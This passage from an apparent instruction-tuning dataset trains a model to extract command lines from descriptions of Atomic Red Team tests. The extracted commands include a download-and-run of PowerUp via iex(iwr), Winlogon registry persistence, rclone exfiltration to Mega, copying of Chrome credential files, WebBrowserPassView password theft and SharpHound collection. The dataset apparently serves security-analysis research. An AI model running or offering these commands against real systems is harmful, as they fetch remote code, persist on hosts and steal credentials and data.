prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command will load PowerUp and perform all privilege escalation checks: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks; You can capture specific commands from bash history by executing this command: cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\\n\", \"cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The custom executable will be executed at the time the OS kicks off the activity, achieved via the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\DefragPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f; The registry settings can be modified to use a custom executable, which will be executed when the OS starts the respective activity, via the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\BackupPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\DefragPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\BackupPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script modifies the registry to execute atomicNotificationPackage.dll upon logon, but note that it only works on Windows versions prior to Vista/Server 2008. Run the following commands: \nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"DllName\" \"#{binary_to_execute}\" -Type ExpandString -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Logon\" \"#{function_to_execute}\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Impersonate\" 1 -Type DWord -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Asynchronous\" 0 -Type DWord -Force\n; This PowerShell script modifies the registry to execute cmd.exe during logon/logoff by running: Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force",
    "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"DllName\\\" \\\"#{binary_to_execute}\\\" -Type ExpandString -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Logon\\\" \\\"#{function_to_execute}\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Impersonate\\\" 1 -Type DWord -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Asynchronous\\\" 0 -Type DWord -Force\\n\", \"Set-ItemProperty \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Shell\\\" \\\"explorer.exe, #{binary_to_execute}\\\" -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To exfiltrate data to a remote Mega cloud storage instance, use the following command sequence: New-Item #{rclone_config_path}\\rclone -ItemType directory\nNew-Item #{rclone_config_path}\\rclone\\rclone.conf\ncd \"#{rclone_path}\"\n.\\rclone.exe config create #{remote_share} mega\nset-Content #{rclone_config_path}\\rclone\\rclone.conf \"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\"\n.\\rclone.exe copy --max-size 1700k \"#{dir_to_copy}\" #{remote_share}:test -v; The launchctl utility allows you to control services with commands like: launchctl submit -l #{label_name} -- #{executable_path}",
    "output": "{\"command_list\": [\"New-Item #{rclone_config_path}\\\\rclone -ItemType directory\\nNew-Item #{rclone_config_path}\\\\rclone\\\\rclone.conf\\ncd \\\"#{rclone_path}\\\"\\n.\\\\rclone.exe config create #{remote_share} mega\\nset-Content #{rclone_config_path}\\\\rclone\\\\rclone.conf \\\"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\\\"\\n.\\\\rclone.exe copy --max-size 1700k \\\"#{dir_to_copy}\\\" #{remote_share}:test -v\\n\", \"launchctl submit -l #{label_name} -- #{executable_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Group Policy startup scripts can be executed with this command: Gpscript /startup; To execute commands from a prepared ie4uinit.inf file, use the following commands: copy #{Path_ie4uinit} %TEMP%\\ie4uinit.exe\ncopy \"#{Path_inf}\" %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings",
    "output": "{\"command_list\": [\"Gpscript /startup\\n\", \"copy #{Path_ie4uinit} %TEMP%\\\\ie4uinit.exe\\ncopy \\\"#{Path_inf}\\\" %TEMP%\\\\ieuinit.inf\\n%TEMP%\\\\ie4uinit.exe -BaseSettings\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate and copy Chrome's encrypted credential files to the temp directory, use the following command:\ncp ~/Library/\"Application Support/Google/Chrome/Default/Login Data\" \"/tmp/T1555.003_Login Data\"\ncp ~/Library/\"Application Support/Google/Chrome/Default/Login Data For Account\" \"/tmp/T1555.003_Login Data For Account\"\n; To extract passwords from browsers on a Windows system, this Atomic test employs WebBrowserPassView, an open-source tool recently observed in BlackCat Ransomware campaigns, using the following command:\nStart-Process \"#{webbrowserpassview_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n",
    "output": "{\"command_list\": [\"cp ~/Library/\\\"Application Support/Google/Chrome/Default/Login Data\\\" \\\"/tmp/T1555.003_Login Data\\\"\\ncp ~/Library/\\\"Application Support/Google/Chrome/Default/Login Data For Account\\\" \\\"/tmp/T1555.003_Login Data For Account\\\"\\n\", \"Start-Process \\\"#{webbrowserpassview_path}\\\"\\nStart-Sleep -Second 4\\nStop-Process -Name \\\"WebBrowserPassView\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
